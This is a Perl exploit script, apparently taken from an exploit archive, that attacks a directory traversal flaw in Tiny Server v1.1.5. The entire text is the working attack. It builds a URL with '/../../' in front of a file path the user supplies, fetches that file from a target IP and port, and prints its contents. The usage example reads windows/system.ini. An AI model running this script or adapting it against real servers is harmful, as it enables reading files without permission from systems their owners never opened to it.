#!/usr/bin/perl -w
#Title  : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
#Author : KaHPeSeSe
#Test   : PERFECT XP PC1 / SP3
#Date   : 15/03/2012
#Thanks : exploit-db.com
use LWP::Simple;
use LWP::UserAgent;
    system('color','A');
    system('cls');
            print "\n\t____________________________________________________________________\n";
            print "\n\t....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......\n";
            print "\n\t....... Founded and Exploited by KaHPeSeSe                   .......\n";
            print "\n\t____________________________________________________________________\n\n";
    if(@ARGV < 3)
        {
            print "[-] Error!\n";
            print "[-] Look to example\n\n";
            &help; exit();
                                            }
    sub help()
        {
            print "[+] How  to : perl $0 IP Port File\n";
            print "[+] Example : perl $0 192.168.1.2 80 windows/system.ini\n";
                                            }
            ($TargetIP, $Port, $File) = @ARGV;
            print("Connet to Server.... \n");
            sleep(2);
            $path="/../../";
            my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;
            print("Connected\n");
            sleep(2);
            print("Waiting for moment\n");
            sleep(1);
            print("Done! Reading $File...\n");
            sleep(3);
            $ourfile=get $link;
    if($ourfile)
        {
            print("\n\n____________________________________________________\n\n");
            print("$ourfile \n\n");
            print("_____________________________________________________\n\n");
                                            }
    else
    {
            print("_____________________________________________________\n\n");
            print(" Not Found !!!\n\n");
            print("_____________________________________________________\n\n");
            exit;
                                            }